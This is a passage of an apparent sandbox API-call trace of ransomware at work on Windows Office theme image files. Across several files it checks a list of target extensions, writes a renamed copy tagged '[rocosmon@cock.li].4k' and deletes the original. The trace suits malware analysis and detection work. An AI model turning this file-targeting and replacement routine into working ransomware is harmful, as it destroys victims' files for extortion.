	[0105.857] lstrlenW (lpString=".1cd") returned 4
	[0105.857] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76
	[0105.857] lstrlenW (lpString=".jpg") returned 4
	[0105.857] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.857] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0105.857] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0105.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.860] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=21745) returned 1
	[0105.860] CloseHandle (hObject=0x1d0) returned 1
	[0105.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20
	[0105.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.860] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.860] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.861] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0105.861] GetLastError () returned 0x0
	[0105.861] ReadFile (in: hFile=0x1d0, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x54f1, lpOverlapped=0x0) returned 1
	[0105.868] WriteFile (in: hFile=0x21c, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x5500, lpOverlapped=0x0) returned 1
	[0105.870] ReadFile (in: hFile=0x1d0, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.870] WriteFile (in: hFile=0x21c, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0105.870] SetEndOfFile (hFile=0x21c) returned 1
	[0105.870] CloseHandle (hObject=0x21c) returned 1
	[0105.870] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.870] SetEndOfFile (hFile=0x1d0) returned 1
	[0105.871] CloseHandle (hObject=0x1d0) returned 1
	[0105.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.872] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1
	[0105.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0105.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0105.872] lstrlenW (lpString=".doc") returned 4
	[0105.872] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.872] lstrlenW (lpString=".docx") returned 5
	[0105.872] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.872] lstrlenW (lpString=".pdf") returned 4
	[0105.872] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.872] lstrlenW (lpString=".xls") returned 4
	[0105.872] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.872] lstrlenW (lpString=".xlsx") returned 5
	[0105.872] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.872] lstrlenW (lpString=".ppt") returned 4
	[0105.872] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0105.872] lstrlenW (lpString=".zip") returned 4
	[0105.873] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.873] lstrlenW (lpString=".rar") returned 4
	[0105.873] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.873] lstrlenW (lpString=".bz2") returned 4
	[0105.873] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.873] lstrlenW (lpString=".7z") returned 3
	[0105.873] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0105.873] lstrlenW (lpString=".dbf") returned 4
	[0105.873] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0105.873] lstrlenW (lpString=".1cd") returned 4
	[0105.873] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0105.873] lstrlenW (lpString=".jpg") returned 4
	[0105.873] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0105.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0105.873] lstrlenW (lpString=".doc") returned 4
	[0105.873] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.873] lstrlenW (lpString=".docx") returned 5
	[0105.873] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.873] lstrlenW (lpString=".pdf") returned 4
	[0105.873] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.873] lstrlenW (lpString=".xls") returned 4
	[0105.873] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.873] lstrlenW (lpString=".xlsx") returned 5
	[0105.873] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.873] lstrlenW (lpString=".ppt") returned 4
	[0105.873] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0105.873] lstrlenW (lpString=".zip") returned 4
	[0105.873] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.873] lstrlenW (lpString=".rar") returned 4
	[0105.873] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.873] lstrlenW (lpString=".bz2") returned 4
	[0105.873] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.873] lstrlenW (lpString=".7z") returned 3
	[0105.874] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0105.874] lstrlenW (lpString=".dbf") returned 4
	[0105.874] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0105.874] lstrlenW (lpString=".1cd") returned 4
	[0105.874] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74
	[0105.874] lstrlenW (lpString=".jpg") returned 4
	[0105.874] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.874] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0105.874] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0105.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.874] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=1339) returned 1
	[0105.874] CloseHandle (hObject=0x1d0) returned 1
	[0105.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 0x20
	[0105.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.875] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.875] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0105.876] GetLastError () returned 0x0
	[0105.876] ReadFile (in: hFile=0x1d0, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x53b, lpOverlapped=0x0) returned 1
	[0105.901] WriteFile (in: hFile=0x21c, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x540, lpOverlapped=0x0) returned 1
	[0105.901] ReadFile (in: hFile=0x1d0, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.901] WriteFile (in: hFile=0x21c, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0105.902] SetEndOfFile (hFile=0x21c) returned 1
	[0105.902] CloseHandle (hObject=0x21c) returned 1
	[0105.902] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.902] SetEndOfFile (hFile=0x1d0) returned 1
	[0105.902] CloseHandle (hObject=0x1d0) returned 1
	[0105.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.903] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\preview.gif")) returned 1
	[0105.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0105.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0105.903] lstrlenW (lpString=".doc") returned 4
	[0105.903] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.903] lstrlenW (lpString=".docx") returned 5
	[0105.903] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.903] lstrlenW (lpString=".pdf") returned 4
	[0105.903] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.903] lstrlenW (lpString=".xls") returned 4
	[0105.903] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.903] lstrlenW (lpString=".xlsx") returned 5
	[0105.903] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.903] lstrlenW (lpString=".ppt") returned 4
	[0105.903] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0105.903] lstrlenW (lpString=".zip") returned 4
	[0105.903] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.903] lstrlenW (lpString=".rar") returned 4
	[0105.903] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.903] lstrlenW (lpString=".bz2") returned 4
	[0105.903] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.903] lstrlenW (lpString=".7z") returned 3
	[0105.904] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0105.904] lstrlenW (lpString=".dbf") returned 4
	[0105.904] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0105.904] lstrlenW (lpString=".1cd") returned 4
	[0105.904] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0105.904] lstrlenW (lpString=".jpg") returned 4
	[0105.904] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0105.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0105.904] lstrlenW (lpString=".doc") returned 4
	[0105.904] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0105.904] lstrlenW (lpString=".docx") returned 5
	[0105.904] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0105.904] lstrlenW (lpString=".pdf") returned 4
	[0105.904] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0105.904] lstrlenW (lpString=".xls") returned 4
	[0105.904] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0105.904] lstrlenW (lpString=".xlsx") returned 5
	[0105.904] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0105.904] lstrlenW (lpString=".ppt") returned 4
	[0105.904] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0105.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0105.904] lstrlenW (lpString=".zip") returned 4
	[0105.904] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0105.904] lstrlenW (lpString=".rar") returned 4
	[0105.904] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0105.904] lstrlenW (lpString=".bz2") returned 4
	[0105.904] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0105.904] lstrlenW (lpString=".7z") returned 3
	[0105.904] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0105.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0105.904] lstrlenW (lpString=".dbf") returned 4
	[0105.904] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0105.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0105.904] lstrlenW (lpString=".1cd") returned 4
	[0105.905] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0105.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75
	[0105.905] lstrlenW (lpString=".jpg") returned 4
	[0105.905] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0105.905] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0105.905] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0105.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.905] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2b0ff1c | out: lpFileSize=0x2b0ff1c*=37112) returned 1
	[0105.905] CloseHandle (hObject=0x1d0) returned 1
	[0105.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20
	[0105.905] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.905] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.905] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.905] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0105.915] GetLastError () returned 0x0
	[0105.915] ReadFile (in: hFile=0x1d0, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x90f8, lpOverlapped=0x0) returned 1
	[0105.975] WriteFile (in: hFile=0x21c, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0x9100, lpOverlapped=0x0) returned 1
	[0105.977] ReadFile (in: hFile=0x1d0, lpBuffer=0x3120020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fed4, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2b0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.977] WriteFile (in: hFile=0x21c, lpBuffer=0x3120020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesWritten=0x2b0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0105.977] SetEndOfFile (hFile=0x21c) returned 1
	[0105.977] CloseHandle (hObject=0x21c) returned 1
	[0105.978] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.978] SetEndOfFile (hFile=0x1d0) returned 1
	[0105.979] CloseHandle (hObject=0x1d0) returned 1
	[0105.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.979] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1
	[0105.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0105.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0105.979] lstrlenW (lpString=".doc") returned 4
	[0105.979] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.980] lstrlenW (lpString=".docx") returned 5
	[0105.980] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.980] lstrlenW (lpString=".pdf") returned 4
	[0105.980] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.980] lstrlenW (lpString=".xls") returned 4
	[0105.980] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.980] lstrlenW (lpString=".xlsx") returned 5
	[0105.980] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.980] lstrlenW (lpString=".ppt") returned 4
	[0105.980] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0105.980] lstrlenW (lpString=".zip") returned 4
	[0105.980] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.980] lstrlenW (lpString=".rar") returned 4
	[0105.980] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.980] lstrlenW (lpString=".bz2") returned 4
	[0105.980] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.980] lstrlenW (lpString=".7z") returned 3
	[0105.980] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0105.980] lstrlenW (lpString=".dbf") returned 4
	[0105.980] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0105.980] lstrlenW (lpString=".1cd") returned 4
	[0105.980] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0105.980] lstrlenW (lpString=".jpg") returned 4
	[0105.980] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0105.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0105.981] lstrlenW (lpString=".doc") returned 4
	[0105.981] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.981] lstrlenW (lpString=".docx") returned 5
	[0105.981] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.981] lstrlenW (lpString=".pdf") returned 4
	[0105.981] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.981] lstrlenW (lpString=".xls") returned 4
	[0105.981] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.981] lstrlenW (lpString=".xlsx") returned 5
	[0105.981] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.981] lstrlenW (lpString=".ppt") returned 4
	[0105.981] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73
	[0105.981] lstrlenW (lpString=".zip") returned 4
	[0105.981] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.981] lstrlenW (lpString=".rar") returned 4
	[0105.981] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.981] lstrlenW (lpString=".bz2") returned 4
